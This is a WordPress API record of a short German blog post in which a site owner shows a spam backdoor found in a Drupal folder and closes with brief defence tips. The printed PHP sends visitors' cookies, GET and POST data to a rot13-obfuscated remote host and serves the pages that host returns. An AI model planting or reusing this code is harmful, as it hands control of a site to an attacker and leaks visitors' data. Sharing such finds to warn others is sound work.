{"id":1072,"date":"2014-01-06T22:04:01","date_gmt":"2014-01-06T21:04:01","guid":{"rendered":"http:\/\/www.k-braungardt.de\/blogkb\/?p=1072"},"modified":"2014-01-06T22:05:00","modified_gmt":"2014-01-06T21:05:00","slug":"fieses-spam-skript","status":"publish","type":"post","link":"https:\/\/www.k-braungardt.de\/blogkb\/?p=1072","title":{"rendered":"Fieses Spam-Skript"},"content":{"rendered":"<p>Die Tage habe ich in einem Drupal-Unterordner ein fieses Spam-Skript ausfindig gemacht. Dieses f\u00c3\u00bchrt dazu, dass dort eine Seite oder Seiten aufgebaut werden, die anderen Zwecken dient als der der Homepage, z.B. l\u00c3\u00a4sst sich auf diese Weise der Medikamentenhandel vorantreiben. Hier ist das gute St\u00c3\u00bcck (man beachte die rot13-Verschl\u00c3\u00bcsselung der URL):<\/p>\n<p><code>$post = Array(<br \/>\n  'self' => 'http:\/\/' . ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['REQUEST_URI'],<br \/>\n  'sub_id' => '',<br \/>\n  \/\/'page' => $_REQUEST['p'],<br \/>\n  'PHP_SELF' => $_SERVER['PHP_SELF'],<br \/>\n  'SERVER_PROTOCOL' => $_SERVER['SERVER_PROTOCOL'],<br \/>\n  'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR'],<br \/>\n  'HTTP_REFERER' => $_SERVER['HTTP_REFERER'],<br \/>\n  'HTTP_USER_AGENT' => $_SERVER['HTTP_USER_AGENT'],<br \/>\n  'HTTP_ACCEPT_CHARSET' => $_SERVER['HTTP_ACCEPT_CHARSET'],<br \/>\n  'GET' => serialize($_GET),<br \/>\n  'POST' => serialize($_POST),<br \/>\n  'COOKIE' => serialize($_COOKIE),<br \/>\n);<br \/>\n$masterUrl = str_rot13('uggc:\/\/klm.uhynubfg.arg\/');<br \/>\n$url = \"{$masterUrl}rgw.php\";<br \/>\n$req = new HttpRequest($useCurl, $requestTimeout);<br \/>\n$pageTxt = $req->request($url, $post);<br \/>\n\/\/echo $pageTxt;<br \/>\nif (!$pageTxt)<br \/>\n  die404();<br \/>\n$page = unserialize($pageTxt);<br \/>\n\/\/print_r($page);<br \/>\nif ($page['seal'] != $seal) {<br \/>\n  \/\/echo $pageTxt; \/\/ TODO: *** DEBUG, delete this!!! ***<br \/>\n  die404();<br \/>\n}<br \/>\nforeach ($page['headers'] as $header) {<br \/>\n  header($header);<br \/>\n}<br \/>\n\/\/echo \"<\/p>\n<pre>\";\r\n\/\/print_r($page);\r\n\/\/echo \"<\/pre>\n<p>\";<br \/>\necho $page['content'];<br \/>\n?><\/code><\/p>\n<p>Wie gegen den Mist wehren? Neben dem \u00c3\u0153blichen, immer die aktuellste Version einspielen, Permissions etc, ist eine Webserver-Log-Analyse, z.B. via Webalizer n\u00c3\u00bctzlich.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Die Tage habe ich in einem Drupal-Unterordner ein fieses Spam-Skript ausfindig gemacht. Dieses f\u00c3\u00bchrt dazu, dass dort eine Seite oder Seiten aufgebaut werden, die anderen&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/www.k-braungardt.de\/blogkb\/?p=1072\">Weiterlesen<span class=\"screen-reader-text\">Fieses Spam-Skript<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54],"tags":[281,280,282,279,268],"class_list":["post-1072","post","type-post","status-publish","format-standard","hentry","category-technik","tag-attacken","tag-hacker","tag-server","tag-skript","tag-spam","entry"],"_links":{"self":[{"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/posts\/1072","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1072"}],"version-history":[{"count":2,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/posts\/1072\/revisions"}],"predecessor-version":[{"id":1074,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=\/wp\/v2\/posts\/1072\/revisions\/1074"}],"wp:attachment":[{"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1072"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1072"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.k-braungardt.de\/blogkb\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1072"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}